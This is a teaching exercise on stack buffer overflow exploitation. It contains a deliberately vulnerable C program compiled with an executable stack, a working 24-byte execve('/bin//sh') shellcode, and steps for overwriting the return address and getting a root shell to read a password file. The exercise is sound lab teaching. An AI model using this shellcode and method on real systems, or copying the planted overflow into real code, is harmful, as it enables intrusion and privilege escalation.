Buffer Overflow Exploitation Excercise

Andre Rein

Exercise: Buffer Overflow Stack

The code we will use for the exploitation is as follows:

```
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  char buffer[16];
  char buffer2[16];

  buffer[15]='\0';
  buffer2[15]='\0';

  printf("Hello Buffers\n\n");

  for (int i=0;i<argc;i++){
    printf("argv[%d]: %s\n", i, argv[i]);

  }
  printf("Buffer2: @%p\n", &buffer2);
  printf("Buffer : @%p\n", &buffer);

  memcpy(buffer2,argv[1], strlen(argv[1]));

  printf("Buffer2: @%p [%s]\n", &buffer2, buffer2);
  printf("Buffer : @%p [%s]\n", &buffer, buffer);

  return 0;
}
```

Exercises:

The code from above contains a buffer overflow vulnerability. The goal of this exercise is to exploit this vulnerability and use it to spawn a shell.

Step 1: Understand the code:

1. Locate the buffer overflow vulnerability inside the code
2. Compile your code as follows:

   ```
   gcc -g stack_variables/stack.c -z execstack -o output/stack_exec_stack
   ```

3. Play around with the command line arguments and understand what happens inside the code

   `./output/stack_exec_stack parameter`

   - **IMPORTANT: once you get segmentation faults, use `dmesg` to figure out what was going on.**
   - **Alternatively you can also use a debugger if you are familiar using one. `gdb` and `radare2` are available.**

4. Answer the following questions:

   (a) How many Bytes are available in your buffer?
   (b) How many Bytes do you need to overflow until you receive a segmentation fault?

Step 2: Understand the exploit:

1. Go to https://www.exploit-db.com/exploits/42179/ or look at the file `exploit_shellcode.c` or check the summary below.

   Quick summary: ##########

```
# Source #
##########
section .text
    global _start
    _start:
      push rax           /*
      xor rdx, rdx        * Prolog
      xor rsi, rsi        */
      mov rbx,'/bin//sh' /* important line! */
      push rbx           /*
      push rsp            * setup stack frame
      pop rdi             */
      mov al, 59         /* xx refers to ??? syscall*/
      syscall            /* execute ???*/

########################
# shellcode (24 bytes) #
########################

    \x50\x48\x31\xd2\x48\x31\xf6\x48
    \xbb\x2f\x62\x69\x6e\x2f\x2f\x73
    \x68\x53\x54\x5f\xb0\x3b\x0f\x05
```

2. Try to understand what the shellcode does. Questions:

   (a) Which syscall is used by the shellcode?
   (b) Why does the string for the shell use two slashes `//` instead of just one /?
   (c) Why is the 1st parameter put in a register?

3. Use the shellcode from above or a different one and find a way how to inject your shellcode into your buffers.

   - E.g. with python:

   `./output/stack_exec_stack $(python -c 'print "\x50..."')`

4. Figure out the padding space you will need between your shellcode inside the buffers and the return address you want to overwrite.
   - How much padding space do you need?

   `[shellcode][...padding...][return address]`

   Note: The padding space could be larger than you would expect, so watch carefully when the first errors occur. Use `dmesg` *and watch what happens to the instruction pointer. If you see no changes, the padding is most likely wrong. Adjust the padding size.*

5. Figure out the correct address that points to your shellcode and overwrite the return address accordingly.

   (*Note 1: X86_64 uses little endian byte order!*)

   (*Note 2: The last 4 Bytes of the targeted return address changes sometimes. So consider this during your exploit.*)

Step 3: Test the exploit:

1. Put everything together in a single command line argument and execute your exploit.
   - In case you were successful, you now have a `sh` shell prompt indicated by `$`
   - You can execute any command you like.
   - You can logout with `ctrl+d`

Step 4: Use the techniques to get the root password

1. There is an already pre-compiled version of this program available. You can find it here: `output/stack_exec_root`
   - Use what you learned and exploit this program instead.

   (Note: The targeted return address may be different this time.)
   - Once you have a shell (this time this is a root shell, indicated by a `#`) read the contents of the file `secret` to get the password for the root account.